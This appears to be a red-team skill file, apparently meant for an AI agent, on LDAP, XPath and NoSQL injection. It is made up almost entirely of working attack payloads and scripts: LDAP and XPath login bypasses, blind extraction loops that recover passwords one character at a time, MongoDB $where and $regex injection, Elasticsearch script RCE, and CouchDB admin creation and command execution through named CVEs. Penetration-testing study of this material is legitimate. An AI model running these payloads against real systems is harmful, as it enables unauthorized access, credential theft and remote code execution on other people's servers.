---
name: rt-ldap-xpath-injection
description: "LDAP injection, XPath injection, and deep NoSQL injection skill for authorized engagements. LDAP authentication bypass via filter injection, LDAP enumeration via blind injection, XPath authentication bypass and data extraction, MongoDB operator injection depth, Elasticsearch injection, and CouchDB HTTP API attacks. Use when applications query LDAP directories, XML datastores, or document databases."
---

# rt-ldap-xpath-injection — LDAP, XPath & Advanced NoSQL Injection

## Overview

Beyond SQL injection, applications use LDAP (directory services), XPath (XML querying), and NoSQL databases — each with their own injection vulnerabilities. LDAP injection can bypass Windows AD authentication. XPath injection can extract entire XML documents. NoSQL injection bypasses authentication across MongoDB, Redis, and Elasticsearch.

---

## Part 1 — LDAP Injection

### Phase 1 — LDAP Auth Bypass

```bash
# Vulnerable LDAP filter: (&(uid=USER)(password=PASS))

# Auth bypass — close filter early, always true
Username: *)(uid=*))(|(uid=*
Password: anything
# Resulting filter: (&(uid=*)(uid=*))(|(uid=*)(password=anything))
# Returns first user → logged in as admin

# Simpler bypass
Username: admin)(&
Password: anything
# Filter: (&(uid=admin)(&)(password=anything)) → uid=admin always true

# Wildcard bypass
Username: *
Password: *
# Filter: (&(uid=*)(password=*)) → matches everyone

# Test with curl (LDAP-backed login form)
curl -X POST https://target.com/login \
  -d "username=*)(uid=*))(|(uid=*&password=anything"
# If logged in as first user → LDAP injection confirmed
```

### Phase 2 — LDAP Blind Enumeration

```bash
# Extract data via true/false responses
# (&(uid=admin)(cn=a*)) → if true: admin's CN starts with 'a'

python3 << 'EOF'
import requests, string

def test_ldap(filter_payload):
    r = requests.post("https://target.com/login",
                      data={"username": filter_payload, "password": "x"})
    return "Login successful" in r.text or r.status_code == 302

# Enumerate admin's email character by character
email = ""
for pos in range(1, 50):
    for char in string.ascii_lowercase + string.digits + "@._-":
        # Filter: (&(uid=admin)(mail=FOUND_SO_FAR*))
        payload = f"admin)(mail={email}{char}*)(uid=admin"
        if test_ldap(payload):
            email += char
            print(f"Email so far: {email}")
            break
EOF
```

---

## Part 2 — XPath Injection

### Phase 3 — XPath Auth Bypass

```bash
# Vulnerable XPath: //users/user[username/text()='USER' and password/text()='PASS']

# Always true bypass
Username: ' or '1'='1
Password: ' or '1'='1
# Query: //users/user[username/text()='' or '1'='1' and ...]  → all users match

# Comment out password check
Username: admin'  # XPath has no comments, use other techniques
# Or: admin' or 'x'='x

# Short-circuit
Username: ' or 1=1 or '
Password: x
```

### Phase 4 — XPath Data Extraction (Blind)

```bash
# Extract XML document contents via true/false responses
python3 << 'EOF'
import requests, string

def test_xpath(payload):
    r = requests.post("https://target.com/search",
                      data={"username": payload, "password": "x"})
    return "success" in r.text.lower()

# Count users
for n in range(1, 20):
    if test_xpath(f"x' or count(//user)={n} or 'x'='"):
        print(f"User count: {n}")
        break

# Extract first user's password character by character
result = ""
for pos in range(1, 30):
    for char in string.printable:
        payload = f"x' or substring(//user[1]/password,{pos},1)='{char}' or 'x'='"
        if test_xpath(payload):
            result += char
            print(f"Password so far: {result}")
            break
EOF
```

---

## Part 3 — Advanced NoSQL Injection

### Phase 5 — MongoDB Deep Injection

```bash
# MongoDB operator injection (beyond basic auth bypass)

# $where JavaScript injection
curl "https://target.com/api/users?filter[$where]=this.username=='admin'&&this.password.match(/a.*/)"

# $regex for enumeration
curl "https://target.com/api/users?password[$regex]=^a"
curl "https://target.com/api/users?password[$regex]=^ab"
# Binary search to extract password

# Blind MongoDB injection via error timing
for char in a b c d e f 0 1 2 3 4 5 6 7 8 9; do
  start=$SECONDS
  curl -s "https://target.com/api?user[$where]=function(){var x=this.password;if(x[0]=='$char'){sleep(2000)};return true}" > /dev/null
  elapsed=$((SECONDS - start))
  [ $elapsed -ge 2 ] && echo "First char: $char" && break
done

# $lookup for cross-collection access (MongoDB aggregation)
curl "https://target.com/api/search" \
  -d '{"$lookup":{"from":"users","localField":"_id","foreignField":"_id","as":"user_data"}}'

# Array operator abuse
curl "https://target.com/api/users?role[$in][]=admin&role[$in][]=superadmin"
```

### Phase 6 — Elasticsearch Injection

```bash
# Elasticsearch HTTP API — often unauthenticated internally
curl http://ES_IP:9200/_cat/indices?v
curl http://ES_IP:9200/_search?q=*

# Script injection via Painless/Groovy
curl -X POST "http://ES_IP:9200/users/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "query": {
      "bool": {
        "filter": {
          "script": {
            "script": {
              "source": "Runtime rt = Runtime.getRuntime(); String[] commands = new String[]{\"id\"}; Process proc = rt.exec(commands); proc.waitFor(); return true;",
              "lang": "painless"
            }
          }
        }
      }
    }
  }'

# CVE-2014-3120 / CVE-2015-1427 (Groovy script RCE — older Elasticsearch)
curl -X POST "http://ES_IP:9200/_search?pretty" \
  -d '{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"result":{"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"exec\",java.lang.String.class).invoke(java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"id\")"}}}'
```

### Phase 7 — CouchDB HTTP API

```bash
# CouchDB default: no auth, admin party
curl http://COUCHDB_IP:5984/          # Server info
curl http://COUCHDB_IP:5984/_all_dbs  # List all databases
curl http://COUCHDB_IP:5984/users/_all_docs  # All documents

# Create admin account
curl -X PUT "http://COUCHDB_IP:5984/_config/admins/attacker" \
  -d '"password123"'

# CVE-2017-12635 (Privilege escalation via JSON parsing)
curl -X PUT "http://COUCHDB_IP:5984/_users/org.couchdb.user:attacker" \
  -H "Content-Type: application/json" \
  -d '{"type":"user","name":"attacker","roles":["_admin"],"roles":[],"password":"password"}'

# Erlang code execution (CVE-2018-8007)
curl -X PUT "http://admin:pass@COUCHDB_IP:5984/_config/query_servers/cmd" \
  -d '"os:cmd(\"id\")"'
curl -X POST "http://admin:pass@COUCHDB_IP:5984/test/_temp_view" \
  -d '{"map":"cmd(\"id\")"}'
```

---

## Skill Levels

**BEGINNER:** LDAP auth bypass with wildcard · XPath always-true bypass · MongoDB $ne auth bypass

**INTERMEDIATE:** Blind LDAP enumeration · XPath character extraction · MongoDB $regex password extraction

**ADVANCED:** Elasticsearch Painless script injection · CouchDB privilege escalation via CVEs

**EXPERT:** Blind time-based LDAP/XPath · MongoDB $where JavaScript injection · Custom NoSQL query analysis

---

## References

- OWASP LDAP Injection: https://owasp.org/www-community/attacks/LDAP_Injection
- PortSwigger XPath: https://portswigger.net/web-security/xml/xpath-injection
- MongoDB injection: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
